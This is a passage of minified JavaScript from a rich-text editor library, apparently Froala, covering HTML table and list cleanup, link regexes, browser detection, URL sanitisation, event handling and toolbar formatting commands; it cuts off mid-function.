a=e[n].children,o=!0,i=0;i<a.length;i++)if("TH"!==a[i].tagName){o=!1;break}if(!1!==o&&0!==a.length){var s=e[n];if(1===a.length&&"TH"===a[0].tagName&&t)t--;else{for(;s&&"TABLE"!==s.tagName&&"THEAD"!==s.tagName;)s=s.parentNode;var l=s;l.firstChild.nodeType===Node.ELEMENT_NODE&&"THEAD"===l.firstChild.tagName?l=l.firstChild:"THEAD"!==l.tagName&&(l=m.doc.createElement("THEAD"),s.insertBefore(l,s.firstChild)),l.appendChild(e[n])}}}}(),function s(){for(var e=m.$el.find("table[style]"),t=0;t<e.length;t++){var n=f(e[t]);n.attr("style").indexOf("width")<0&&n.css("width","100%")}for(var r=m.$el.find("td[width]"),a=0;a<r.length;a++){var o=f(r[a]),i=o.attr("width");i&&(o.css("width",i),o.removeAttr("width"))}}()},lists:function g(){!function s(){var e,t=[];do{if(t.length){var n=t[0],r=m.doc.createElement("ul");n.parentNode.insertBefore(r,n);do{var a=n;n=n.nextSibling,r.appendChild(a)}while(n&&"LI"===n.tagName)}t=[];for(var o=m.el.querySelectorAll("li"),i=0;i<o.length;i++)e=o[i],m.node.isList(e.parentNode)||t.push(o[i])}while(0<t.length)}(),function o(){for(var e=m.el.querySelectorAll("ol + ol, ul + ul"),t=0;t<e.length;t++){var n=e[t];if(m.node.isList(n.previousSibling)&&m.node.openTagString(n)===m.node.openTagString(n.previousSibling)){for(var r=m.node.contents(n),a=0;a<r.length;a++)n.previousSibling.appendChild(r[a]);n.parentNode.removeChild(n)}}}(),function i(){for(var e=m.el.querySelectorAll("ul, ol"),t=0;t<e.length;t++)for(var n=m.node.contents(e[t]),r=null,a=n.length-1;0<=a;a--)!n[a].tagName&&m.opts.htmlUntouched||"LI"===n[a].tagName||"UL"==n[a].tagName||"OL"==n[a].tagName?r=null:"BR"==n[a].tagName?f(n[a]).remove():(r||(r=f(m.doc.createElement("LI"))).insertBefore(n[a]),r.prepend(n[a]))}(),function l(){var e,t,n;do{t=!1;var r=m.el.querySelectorAll("li:empty");for(e=0;e<r.length;e++)r[e].parentNode.removeChild(r[e]);var a=m.el.querySelectorAll("ul, ol");for(e=0;e<a.length;e++)(n=a[e]).querySelector("LI")||(t=!0,n.parentNode.removeChild(n))}while(!0===t)}(),function a(){for(var e=m.el.querySelectorAll("ul > ul, ol > ol, ul > ol, ol > ul"),t=0;t<e.length;t++){var n=e[t],r=n.previousSibling;r&&("LI"===r.tagName?r.appendChild(n):f(n).wrap("<li></li>"))}}(),function c(){for(var e=m.el.querySelectorAll("li > ul, li > ol"),t=0;t<e.length;t++){var n=e[t];if(n.nextSibling)for(var r=n.nextSibling;0<r.childNodes.length;)n.append(r.childNodes[0])}}(),function d(){for(var e=m.el.querySelectorAll("li > ul, li > ol"),t=0;t<e.length;t++){var n=e[t];if(m.node.isFirstSibling(n)&&"none"!=n.parentNode.style.listStyleType)f(n).before("<br/>");else if(n.previousSibling&&"BR"===n.previousSibling.tagName){for(var r=n.previousSibling.previousSibling;r&&m.node.hasClass(r,"fr-marker");)r=r.previousSibling;r&&"BR"!==r.tagName&&f(n.previousSibling).remove()}}}(),function n(){for(var e=m.el.querySelectorAll("li:empty"),t=0;t<e.length;t++)f(e[t]).remove()}(),function r(){for(var e=m.el.querySelectorAll("ul, ol"),t=0;t<e.length;t++)for(var n=e[t],i=m.node.contents(n),s=function s(){var e=i[l],t=m.node.contents(e),n=e.querySelectorAll("ul, ol");if(0<n.length&&1==t.length&&t[0].nodeType===Node.ELEMENT_NODE){var r=n[0],a=i[l-1];if(!a)return 1;var o=f(a).data("tracking")&&m.opts.trackChangesEnabled;Le(r.querySelectorAll("li")).reverse().forEach(function(e){if(o){var t="pending-".concat(m.id,"-").concat(m.track_changes.getPendingChanges().length),n=m.opts.showChangesEnabled?'class="fr-highlight-change"':"",r=e.innerHTML;e.innerHTML='<span data-tracking="true" data-track-id="'.concat(t,'" ').concat(n,">").concat(r,"</span>"),m.track_changes.pushChange(t)}}),a.append(r),e.remove()}},l=0;l<i.length;l++)s()}()},invisibleSpaces:function n(e){return e.replace(/\u200b/g,"").length===e.length?e:m.clean.exec(e,a)},exec:p}},kt.XS=0,kt.SM=1,kt.MD=2,kt.LG=3;kt.LinkRegExCommon="[".concat("a-z\\u0080-\\u009f\\u00a1-\\uffff0-9-_\\.","]{1,}"),kt.LinkRegExEnd="((:[0-9]{1,5})|)(((\\/|\\?|#)[a-z\\u00a1-\\uffff0-9@?\\|!^=%&\\/~+#-\\'*-_{}]*)|())",kt.LinkRegExTLD="((".concat(kt.LinkRegExCommon,")(\\.(com|net|org|edu|mil|gov|co|biz|info|me|dev)))"),kt.LinkRegExHTTP="((ftp|http|https):\\/\\/".concat(kt.LinkRegExCommon,")"),kt.LinkRegExAuth="((ftp|http|https):\\/\\/[\\u0021-\\uffff]{1,}@".concat(kt.LinkRegExCommon,")"),kt.LinkRegExWWW="(www\\.".concat(kt.LinkRegExCommon,"\\.[a-z0-9-]{2,24})"),kt.LinkRegEx="(".concat(kt.LinkRegExTLD,"|").concat(kt.LinkRegExHTTP,"|").concat(kt.LinkRegExWWW,"|").concat(kt.LinkRegExAuth,")").concat(kt.LinkRegExEnd),kt.LinkProtocols=["mailto","tel","sms","notes","data"],kt.MAIL_REGEX=/.+@.+\..+/i,kt.MODULES.helpers=function(o){var i,s=o.$;function e(){var e={},t=function o(){var e,t=-1;return"Microsoft Internet Explorer"===navigator.appName?(e=navigator.userAgent,null!==new RegExp("MSIE ([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))):"Netscape"===navigator.appName&&(e=navigator.userAgent,null!==new RegExp("Trident/.*rv:([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))),t}();if(0<t)e.msie=!0;else{var n=navigator.userAgent.toLowerCase(),r=/(edge)[ /]([\w.]+)/.exec(n)||/(chrome)[ /]([\w.]+)/.exec(n)||/(webkit)[ /]([\w.]+)/.exec(n)||/(opera)(?:.*version|)[ /]([\w.]+)/.exec(n)||/(msie) ([\w.]+)/.exec(n)||n.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(n)||[],a=r[1]||"";r[2];r[1]&&(e[a]=!0),e.chrome?e.webkit=!0:e.webkit&&(e.safari=!0)}return e.msie&&(e.version=t),e}function t(){return(/(iPad|iPhone|iPod)/g.test(navigator.userAgent)||function e(){return navigator.maxTouchPoints&&2<navigator.maxTouchPoints&&/Macintosh/.test(navigator.userAgent)}())&&!a()}function n(){return/(Android)/g.test(navigator.userAgent)&&!a()}function r(){return/(Blackberry)/g.test(navigator.userAgent)}function a(){return/(Windows Phone)/gi.test(navigator.userAgent)}var l=null;return{_init:function c(){o.browser=e()},isIOS:t,isMac:function d(){return null===l&&(l=0<=navigator.platform.toUpperCase().indexOf("MAC")),l},getIOSVersion:function f(){if(t()){var e=navigator.userAgent.match(/OS (\d)?\d_\d(_\d)?/i)||navigator.userAgent.match(/\b[0-9]+_[0-9]+(?:_[0-9]+)?\b/);return e&&e.length&&Math.abs(e[0].split("_")[0].replace("OS ",""))||NaN}return NaN},getSafariVersion:function p(){var e=navigator.userAgent;if(-1!==e.indexOf("Safari")){var t=e.match(/Version\/(\d+\.\d+)/);if(t)return parseInt(t[1])}return null},isAndroid:n,isBlackberry:r,isWindowsPhone:a,isMobile:function u(){return n()||t()||r()},isEmail:function h(e){return!/^(https?:|ftps?:|)\/\//i.test(e)&&kt.MAIL_REGEX.test(e)},requestAnimationFrame:function g(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}},getPX:function m(e){return parseInt(e,10)||0},screenSize:function v(e){try{var t=0;if((t=e?o.$box.width():o.$sc.width())<768)return kt.XS;if(768<=t&&t<992)return kt.SM;if(992<=t&&t<1200)return kt.MD;if(1200<=t)return kt.LG}catch(n){return kt.LG}},isTouch:function b(){return"ontouchstart"in window||window.DocumentTouch&&document instanceof window.DocumentTouch},sanitizeURL:function C(e){return o.opts.DOMPurify&&(e=o.opts.DOMPurify.sanitize(e,{ADD_TAGS:o.opts.htmlAllowedTags,ALLOW_UNKNOWN_PROTOCOLS:!0,ALLOWED_URI_REGEXP:/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp|xxx):|[^a-z]|[a-z+.]+(?:[^a-z+.\-:]|$))/i})),e=e.replace(/(["'/]|\s+)on\w+=(?:"[^"]*"|'[^']*'|[^>\s]+)/gi,""),/^(https?:|ftps?:|)\/\//i.test(e)?e:/^([A-Za-z]:(\\){1,2}|[A-Za-z]:((\\){1,2}[^\\]+)+)(\\)?$/i.test(e)?e:new RegExp("^(".concat(kt.LinkProtocols.join("|"),"):"),"i").test(e)?e:e=encodeURIComponent(e).replace(/%23/g,"#").replace(/%2F/g,"/").replace(/%25/g,"%").replace(/mailto%3A/gi,"mailto:").replace(/file%3A/gi,"file:").replace(/sms%3A/gi,"sms:").replace(/tel%3A/gi,"tel:").replace(/notes%3A/gi,"notes:").replace(/data%3Aimage/gi,"data:image").replace(/blob%3A/gi,"blob:").replace(/%3A(\d)/gi,":$1").replace(/webkit-fake-url%3A/gi,"webkit-fake-url:").replace(/%3F/g,"?").replace(/%3D/g,"=").replace(/%26/g,"&").replace(/&/g,"&").replace(/%2C/g,",").replace(/%3B/g,";").replace(/%2B/g,"+").replace(/%40/g,"@").replace(/%5B/g,"[").replace(/%5D/g,"]").replace(/%7B/g,"{").replace(/%7D/g,"}").replace(/%[0-1]+[0-9]+|%[0-1]+[A-F]+/g,"")},isArray:function E(e){return e&&!Object.prototype.propertyIsEnumerable.call(e,"length")&&"object"===St(e)&&"number"==typeof e.length},RGBToHex:function y(e){function t(e){return"0".concat(parseInt(e,10).toString(16)).slice(-2)}try{return e&&"transparent"!==e?/^#[0-9A-F]{6}$/i.test(e)?e:(e=e.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/),"#".concat(t(e[1])).concat(t(e[2])).concat(t(e[3])).toUpperCase()):""}catch(n){return null}},HEXtoRGB:function L(e){e=e.replace(/^#?([a-f\d])([a-f\d])([a-f\d])$/i,function(e,t,n,r){return t+t+n+n+r+r});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?"rgb(".concat(parseInt(t[1],16),", ").concat(parseInt(t[2],16),", ").concat(parseInt(t[3],16),")"):""},isURL:function T(e){return!!/^(https?:|ftps?:|)\/\//i.test(e)&&(e=String(e).replace(/</g,"%3C").replace(/>/g,"%3E").replace(/"/g,"%22").replace(/ /g,"%20"),new RegExp("^".concat(kt.LinkRegExHTTP).concat(kt.LinkRegExEnd,"$"),"gi").test(e))},getAlignment:function w(e){e.css||(e=s(e));var t=(e.css("text-align")||"").replace(/-(.*)-/g,"");if(["left","right","justify","center"].indexOf(t)<0){if(!i){var n=s('<div dir="'.concat("rtl"===o.opts.direction?"rtl":"auto",'" style="text-align: ').concat(o.$el.css("text-align"),'; position: fixed; left: -3000px;"><span id="s1">.</span><span id="s2">.</span></div>'));s("body").first().append(n);var r=n.find("#s1").get(0).getBoundingClientRect().left,a=n.find("#s2").get(0).getBoundingClientRect().left;n.remove(),i=r<a?"left":"right"}t=i}return t},scrollTop:function A(){return o.o_win.pageYOffset?o.o_win.pageYOffset:o.o_doc.documentElement&&o.o_doc.documentElement.scrollTop?o.o_doc.documentElement.scrollTop:o.o_doc.body.scrollTop?o.o_doc.body.scrollTop:0},scrollLeft:function _(){return o.o_win.pageXOffset?o.o_win.pageXOffset:o.o_doc.documentElement&&o.o_doc.documentElement.scrollLeft?o.o_doc.documentElement.scrollLeft:o.o_doc.body.scrollLeft?o.o_doc.body.scrollLeft:0},isInViewPort:function S(e){var t=e.getBoundingClientRect();return 0<=(t={top:Math.round(t.top),bottom:Math.round(t.bottom)}).top&&t.bottom<=(window.innerHeight||document.documentElement.clientHeight)||t.top<=0&&t.bottom>=(window.innerHeight||document.documentElement.clientHeight)}}},kt.MODULES.events=function(l){var e,o=l.$,i={};function s(e,t,n){m(e,t,n)}function c(e){if(void 0===e&&(e=!0),!l.$wp)return!1;if(l.helpers.isIOS()&&l.$win.get(0).focus(),l.core.hasFocus())return!1;if(!l.core.hasFocus()&&e){var t=l.$win.scrollTop();if(l.browser.msie&&l.$box&&l.$box.css("position","fixed"),l.browser.msie&&l.$wp&&l.$wp.css("overflow","visible"),l.browser.msie&&l.$sc&&l.$sc.css("position","fixed"),l.browser.msie||(p(),l.el.focus(),l.events.trigger("focus"),f()),l.browser.msie&&l.$sc&&l.$sc.css("position",""),l.browser.msie&&l.$box&&l.$box.css("position",""),l.browser.msie&&l.$wp&&l.$wp.css("overflow","auto"),t!==l.$win.scrollTop()&&l.$win.scrollTop(t),!l.selection.info(l.el).atStart)return!1}if(!l.core.hasFocus()||0<l.$el.find(".fr-marker").length)return!1;if(l.selection.info(l.el).atStart&&l.selection.isCollapsed()&&null!==l.html.defaultTag()){var n=l.markers.insert();if(n&&!l.node.blockParent(n)){o(n).remove();var r=l.$el.find(l.html.blockTagsQuery()).get(0);r&&(o(r).prepend(kt.MARKERS),l.selection.restore())}else n&&o(n).remove()}}var d=!1;function f(){e=!0}function p(){e=!1}function u(){return e}function h(e,t,n){var r,a=e.split(" ");if(1<a.length){for(var o=0;o<a.length;o++)h(a[o],t,n);return!0}void 0===n&&(n=!1),r=0!==e.indexOf("shared.")?(i[e]=i[e]||[],i[e]):(l.shared._events[e]=l.shared._events[e]||[],l.shared._events[e]),n?r.unshift(t):r.push(t)}var g=[];function m(e,t,n,r,a){"function"==typeof n&&(a=r,r=n,n=!1);var o=a?l.shared.$_events:g,i=a?l.sid:l.id,s="".concat(t.trim().split(" ").join(".ed".concat(i," ")),".ed").concat(i);n?e.on(s,n,r):e.on(s,r),o.push([e,s])}function t(e){for(var t=0;t<e.length;t++)e[t][0].off(e[t][1])}function v(e,t,n){if(!l.edit.isDisabled()||n){var r,a;if(0!==e.indexOf("shared."))r=i[e];else{if(0<l.shared.count)return!1;r=l.shared._events[e]}if(r)for(var o=0;o<r.length;o++)if(!1===(a=r[o].apply(l,t)))return!1;return(!l.opts.events||!l.opts.events[e]||!1!==(a=l.opts.events[e].apply(l,t)))&&a}}function b(){for(var e in i)Object.prototype.hasOwnProperty.call(i,e)&&delete i[e]}function C(){for(var e in l.shared._events)Object.prototype.hasOwnProperty.call(l.shared._events,e)&&delete l.shared._events[e]}return{_init:function E(){l.shared.$_events=l.shared.$_events||[],l.shared._events={},function e(){l.helpers.isMobile()?(l._mousedown="touchstart",l._mouseup="touchend",l._move="touchmove",l._mousemove="touchmove"):(l._mousedown="mousedown",l._mouseup="mouseup",l._move="",l._mousemove="mousemove")}(),function t(){s(l.$el,"click mouseup mousemove mousedown touchstart touchend dragenter dragover dragleave dragend drop dragstart",function(e){v(e.type,[e])}),h("mousedown",function(){for(var e=0;e<kt.INSTANCES.length;e++)kt.INSTANCES[e]!==l&&kt.INSTANCES[e].popups&&kt.INSTANCES[e].popups.areVisible()&&kt.INSTANCES[e].$el.find(".fr-marker").remove()})}(),function n(){s(l.$win,l._mousedown,function(e){v("window.mousedown",[e]),f()}),s(l.$win,l._mouseup,function(e){v("window.mouseup",[e]),p()}),s(l.$win,"beforeinput cut copy keydown keyup touchmove touchend",function(e){v("window.".concat(e.type),[e])})}(),function r(){s(l.$doc,"dragend drop",function(e){v("document.".concat(e.type),[e])})}(),function a(){s(l.$el,"beforeinput keydown keypress keyup input",function(e){v(e.type,[e])})}(),function o(){s(l.$el,"focus",function(e){u()&&(c(!1),!1===d&&(v(e.type,[e]),l.helpers.isMobile()&&p()))}),s(l.$el,"blur",function(e){u()&&!0===d&&(v(e.type,[e]),l.helpers.isMobile()&&l.opts.toolbarContainer&&(l.shared.selected_editor=l.id),f())}),m(l.$el,"mousedown",'[contenteditable="true"]',function(){p(),l.$el.blur()}),h("focus",function(){d=!0}),h("blur",function(){d=!1})}(),f(),function i(){s(l.$el,"cut copy paste beforepaste",function(e){v(e.type,[e])})}(),h("destroy",b),h("shared.destroy",C)},on:h,trigger:v,bindClick:function r(e,t,n){m(e,l._mousedown,t,function(e){l.edit.isDisabled()||function n(e){var t=o(e.currentTarget);return l.edit.isDisabled()||l.node.hasClass(t.get(0),"fr-disabled")?(e.preventDefault(),!1):"mousedown"===e.type&&1!==e.which||(l.helpers.isMobile()||e.preventDefault(),(l.helpers.isAndroid()||l.helpers.isWindowsPhone())&&0===t.parents(".fr-dropdown-menu").length&&(e.preventDefault(),e.stopPropagation()),t.addClass("fr-selected"),void l.events.trigger("commands.mousedown",[t]))}(e)},!0),m(e,"".concat(l._mouseup," ").concat(l._move),t,function(e){l.edit.isDisabled()||function a(e,t){var n=o(e.currentTarget);if(l.edit.isDisabled()||l.node.hasClass(n.get(0),"fr-disabled"))return e.preventDefault(),!1;if("mouseup"===e.type&&1!==e.which)return!0;if(l.button.getButtons(".fr-selected",!0).get(0)==n.get(0)&&!l.node.hasClass(n.get(0),"fr-selected"))return!0;if("touchmove"!==e.type){if(e.stopPropagation(),e.stopImmediatePropagation(),e.preventDefault(),!l.node.hasClass(n.get(0),"fr-selected"))return l.button.getButtons(".fr-selected",!0).removeClass("fr-selected"),!1;if(l.button.getButtons(".fr-selected",!0).removeClass("fr-selected"),n.data("dragging")||n.attr("disabled"))return n.removeData("dragging"),!1;var r=n.data("timeout");r&&(clearTimeout(r),n.removeData("timeout")),t.apply(l,[e])}else n.data("timeout")||n.data("timeout",setTimeout(function(){n.data("dragging",!0)},100))}(e,n)},!0),m(e,"mousedown click mouseup",t,function(e){l.edit.isDisabled()||e.stopPropagation()},!0),h("window.mouseup",function(){l.edit.isDisabled()||(e.find(t).removeClass("fr-selected"),f())}),m(e,"mouseover",t,function(){o(this).hasClass("fr-options")&&o(this).prev(".fr-btn").addClass("fr-btn-hover"),o(this).next(".fr-btn").hasClass("fr-options")&&o(this).next(".fr-btn").addClass("fr-btn-hover")}),m(e,"mouseout",t,function(){o(this).hasClass("fr-options")&&o(this).prev(".fr-btn").removeClass("fr-btn-hover"),o(this).next(".fr-btn").hasClass("fr-options")&&o(this).next(".fr-btn").removeClass("fr-btn-hover")})},disableBlur:p,enableBlur:f,blurActive:u,focus:c,chainTrigger:function y(e,t,n){if(!l.edit.isDisabled()||n){var r,a;if(0!==e.indexOf("shared."))r=i[e];else{if(0<l.shared.count)return!1;r=l.shared._events[e]}if(r)for(var o=0;o<r.length;o++)void 0!==(a=r[o].apply(l,[t]))&&(t=a);return l.opts.events&&l.opts.events[e]&&void 0!==(a=l.opts.events[e].apply(l,[t]))&&(t=a),t}},$on:m,$off:function n(){t(g),g=[],0===l.shared.count&&(t(l.shared.$_events),l.shared.$_events=[])}}},Object.assign(kt.DEFAULTS,{indentMargin:20}),kt.COMMANDS={bold:{title:"Bold",toggle:!0,refresh:function(e){var t=this.format.is("strong");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},italic:{title:"Italic",toggle:!0,refresh:function(e){var t=this.format.is("em");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},underline:{title:"Underline",toggle:!0,refresh:function(e){var t=this.format.is("u");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},strikeThrough:{title:"Strikethrough",toggle:!0,refresh:function(e){var t=this.format.is("s");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},subscript:{title:"Subscript",toggle:!0,refresh:function(e){var t=this.format.is("sub");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},superscript:{title:"Superscript",toggle:!0,refresh:function(e){var t=this.format.is("sup");e.toggleClass("fr-active",t).attr("aria-pressed",t)}},outdent:{title:"Decrease Indent"},indent:{title:"Increase Indent"},undo:{title:"Undo",undo:!1,forcedRefresh:!0,disabled:!0},redo:{title:"Redo",undo:!1,forcedRefresh:!0,disabled:!0},insertHR:{title:"Insert Horizontal Line"},clearFormatting:{title:"Clear Formatting"},selectAll:{title:"Select All",undo:!1},moreText:{title:"More Text",undo:!1},moreParagraph:{title:"More Paragraph",undo:!1},moreRich:{title:"More Rich",undo:!1},moreMisc:{title:"More Misc",undo:!1}},kt.RegisterCommand=function(e,t){kt.COMMANDS[e]=t},kt.MODULES.commands=function(s){var l=s.$;function i(e){return s.html.defaultTag()&&(e="<".concat(s.html.defaultTag(),">").concat(e,"</").concat(s.html.defaultTag(),">")),e}var o={bold:function(){e("bold","strong")},subscript:function(){s.format.is("sup")&&s.format.remove("sup"),e("subscript","sub")},superscript:function(){s.format.is("sub")&&s.format.remove("sub"),e("superscript","sup")},italic:function(){e("italic","em")},strikeThrough:function(){e("strikeThrough","s")},underline:function(){e("underline","u")},undo:function(){s.undo.run()},redo:function(){s.undo.redo()},indent:function(){r(1)},outdent:function(){r(-1)},show:function(){s.opts.toolbarInline&&s.toolbar.showInline(null,!0)},insertHR:function(){s.selection.remove();var e="";s.core.isEmpty()&&(e=i(e="<br>"));var t='<hr id="fr-just" class="fr-just">'.concat(e);s.opts.trackChangesEnabled&&(t=s.track_changes.wrapInTracking(l(t),"hrWrapper").get(0).outerHTML);s.html.insert(t);var n,r=s.$el.find("hr#fr-just").length?s.$el.find("hr#fr-just"):s.$el.find(".fr-just");r.removeAttr("id"),r.removeAttr("class");var a=s.opts.trackChangesEnabled&&"SPAN"===r[0].parentNode.tagName&&"P"===r[0].parentNode.parentNode.tagName;if(0===r.next().length){var o=s.html.defaultTag();o&&!a?r.after(l(s.doc.createElement(o)).append("<br>").get(0)):a?r[0].parentNode.after(l(s.doc.createElement(o)).append("<br>").get(0)):r.after("<br>")}r.prev().is("hr")?n=s.selection.setAfter(r.get(0),!1):r.next().is("hr")?n=s.selection.setBefore(r.get(0),!1):a||s.selection.setAfter(r.get(0),!1)?s.selection.setAfter(r[0].parentNode,!1):s.selection.setBefore(r.get(0),!1),n||void 0===n||(e=i(e="".concat(kt.MARKERS,"<br>")),r.after(e)),s.selection.restore()},clearFormatting:function(){s.format.remove()},selectAll:function(){s.doc.execCommand("selectAll",!1,!1)},moreText:function(e){t(e)},moreParagraph:function(e){t(e)},moreRich:function(e){t(e)},moreMisc:function(e){t(e)},moreTrackChanges:function(){t("trackChanges")}};function t(e){var t=s.$tb.find("[data-cmd=".concat(e,"]")),n=s.$tb.find("[data-cmd=html]");s.opts.trackChangesEnabled||s.markdown&&s.markdown.isEnabled()?n&&n.addClass("fr-disabled"):n&&n.removeClass("fr-disabled"),function r(n){s.helpers.isMobile()&&s.opts.toolbarInline&&s.events.disableBlur();var e=s.$tb.find('.fr-more-toolbar[data-name="'.concat(n.attr("data-group-name"),'"]'));"trackChanges"===n.data("cmd")&&(e=s.$tb.find('.fr-more-toolbar[data-name="'.concat(n.attr("id"),'"]')));if(s.$tb.find(".fr-open").not(n).not('[data-cmd="trackChanges"]').removeClass("fr-open"),n.toggleClass("fr-open"),s.$tb.find(".fr-more-toolbar").removeClass("fr-overflow-visible"),s.$tb.find(".fr-expanded").not(e).length){var t=s.$tb.find(".fr-expanded").not(e);t.each(function(e,t){0!=l(t).data("name").indexOf("trackChanges-")&&0!=l(t).data("name").indexOf("moreRich-")?l(t).toggleClass("fr-expanded"):n.parents('[data-name^="moreRich-"]').length||0==l(t).data("name").indexOf("trackChanges-")||l(t).find('[id^="trackChanges-"]').length&&s.opts.trackChangesEnabled||l(t).toggleClass("fr-expanded")}),e.toggleClass("fr-expanded")}else e.toggleClass("fr-expanded"),s.$box.toggleClass("fr-toolbar-open"),s.$tb.toggleClass("fr-toolbar-open")}(t),s.toolbar.setMoreToolbarsHeight()}function n(e,t){if(!(s.markdown&&s.markdown.isEnabled()&&("bold"===e||"italic"===e||"underline"===e)||s.opts.trackChangesEnabled&&"markdown"===e)&&!1!==s.events.trigger("commands.before",l.merge([e],t||[]))){var n=kt.COMMANDS[e]&&kt.COMMANDS[e].callback||o[e],r=!0,a=!1;kt.COMMANDS[e]&&("undefined"!=typeof kt.COMMANDS[e].focus&&(r=kt.COMMANDS[e].focus),"undefined"!=typeof kt.COMMANDS[e].accessibilityFocus&&(a=kt.COMMANDS[e].accessibilityFocus)),(!s.core.hasFocus()&&r||!s.core.hasFocus()&&a&&s.accessibility.hasFocus())&&(s.el.focus({preventScroll:!0}),s.events.trigger("focus")),kt.COMMANDS[e]&&!1!==kt.COMMANDS[e].undo&&(s.$el.find(".fr-marker").length&&(s.events.disableBlur(),s.selection.restore()),s.undo.saveStep()),n&&n.apply(s,l.merge([e],t||[])),s.events.trigger("commands.after",l.merge([e],t||[])),kt.COMMANDS[e]&&!1!==kt.COMMANDS[e].undo&&s.undo.saveStep()}}function e(e,t){s.format.toggle(t)}function r(e){s.selection.save(),s.html.wrap(!0,!0,!0,!0),s.selection.restore();for(var t=s.selection.blocks(),n=0;n<t.length;n++)if("LI"!==t[n].tagName&&"LI"!=t[n].parentNode.tagName&&("LI"!==t[n].tagName||"LI"!==t[n].parentNode.tagName)){var r=l(t[n]);"LI"!=t[n].tagName&&"LI"==t[n].parentNode.tagName&&(r=l(t[n].parentNode));var a="rtl"===s.opts.direction||"rtl"===r.css("direction")?"margin-right":"margin-left",o=s.helpers.getPX(r.css(a)),i=s.helpers.getPX(r.css("text-indent"));if(r.width()<2*s.opts.indentMargin&&0<e||o+i<=0&&e<0)continue;"UL"!=t[n].parentNode.tagName&&"OL"!=t[n].parentNode.tagName&&"LI"!=t[n].parentNode.tagName&&r.css(a,Math.max(o+e*s.opts.indentMargin,0)||""),r.removeClass("fr-temp-div")}s.selection.save(),s.html.unwrap(),s.selection.restore()}function a(e){return function(){n(e)}}var c={};for(var d in o)Object.prototype.hasOwnProperty.call(o,d)&&(c[d]=a(d));return Object.assign(c,{exec:n,_init:function f(){s.events.on("keydown",function(e){var t=s.selection.element();if(t&&"HR"===t.tagName&&!s.keys.isArrow(e.which))return e.preventDefault(),!1}),s.events.on("keyup",function(e){var t=s.selection.element();if(t&&"HR"===t.tagName)if(e.which===kt.KEYCODE.ARROW_LEFT||e.which===kt.KEYCODE.ARROW_UP){if(t.previousSibling)return s.node.isBlock(t.previousSibling)?s.selection.setAtEnd(t.previousSibling):l(t).before(kt.MARKERS),s.selection.restore(),!1}else if((e.which===kt.KEYCODE.ARROW_RIGHT||e.which===kt.KEYCODE.ARROW_DOWN)&&t.nextSibling)return s.node.isBlock(t.nextSibling)?s.selection.setAtStart(t.nextSibling):l(t).after(kt.MARKERS),s.selection.restore(),!1}),s.events.on("mousedown",function(e){if(e.target&&"HR"===e.target.tagName)return e.preventDefault(),e.stopPropagation(),!1}),s.events.on("mouseup",function(){var e=s.selection.element();e===s.selection.endElement()&&e&&"HR"===e.tagName&&(e.nextSibling&&(s.node.isBlock(e.nextSibling)?s.selection.setAtStart(e.nextSibling):l(e).after(kt.MARKERS)),s.selection.restore())})}})},kt.MODULES.cursorLists=function(b){var C=b.$;function E(e){for(var t=e;"LI"!==t.tagName;)t=t.parentNode;return t}function y(e){for(var t=e;!b.node.isList(t);)t=t.parentNode;return t}function L(e){for(var t="",n=0;n<e.length;n++){var r=e[n];t+="".concat(r.name,"='").concat(r.value,"' ")}return t}return{_startEnter:function T(e){var t,n=E(e),r=n.nextSibling,a=n.previousSibling,o=b.html.defaultTag();if(b.node.isEmpty(n,!0)&&r){for(var i="",s="",l=e.parentNode;!b.node.isList(l)&&l.parentNode&&("LI"!==l.parentNode.tagName||l.parentNode===n);)-1<["OL","LI","UL"].indexOf(l.tagName)&&(i=b.node.openTagString(l)+i,s+=b.node.closeTagString(l)),l=l.parentNode;i=b.node.openTagString(l)+i,s+=b.node.closeTagString(l);var c="";if(l.parentNode&&"LI"===l.parentNode.tagName)if(l.parentNode.attributes.length){var d=L(l.parentNode.attributes);c="".concat(s,"<li ").concat(d,">").concat(kt.MARKERS,"<br>").concat(i)}else c="".concat(s,"<li>").concat(kt.MARKERS,"<br>").concat(i);else c=o?"".concat(s,"<").concat(o,">").concat(kt.MARKERS,"<br></").concat(o,">").concat(i):"".concat(s+kt.MARKERS,"<br>").concat(i);for(;["UL","OL"].indexOf(l.tagName)<0||l.parentNode&&"LI"===l.parentNode.tagName;)l=l.parentNode;C(n).replaceWith('<span id="fr-break"></span>');var f=b.node.openTagString(l)+C(l).html()+b.node.closeTagString(l);f=f.replace(/<span id="fr-break"><\/span>/g,c),C(l).replaceWith(f),b.$el.find("li:empty").remove(),b.$el.find("li > p > span:empty").length&&b.$el.find("li > p > span:empty")[0].parentNode.parentNode.remove()}else if(a&&r||!b.node.isEmpty(n,!0)){var p="<br>",u=e.parentNode;for(u&&"A"===u.tagName&&(u=null);u&&"LI"!==u.tagName;)p=b.node.openTagString(u)+p+b.node.closeTagString(u),u=u.parentNode;if(u&&u.attributes.length){var h=L(u.attributes);C(n).before("<li ".concat(h,">").concat(p,"</li>"))}else C(n).before("<li>".concat(p,"</li>"));C(e).remove()}else if(a){t=y(n);for(var g="".concat(kt.MARKERS,"<br>"),m=e.parentNode;m&&"LI"!==m.tagName;)g=b.node.openTagString(m)+g+b.node.closeTagString(m),m=m.parentNode;if(t.parentNode&&"LI"===t.parentNode.tagName)if(t.parentNode.attributes.length){var v=L(t.parentNode.attributes);C(t.parentNode).after("<li ".concat(v,">").concat(g,"</li>"))}else C(t.parentNode).after("<li>".concat(g,"</li>"));else 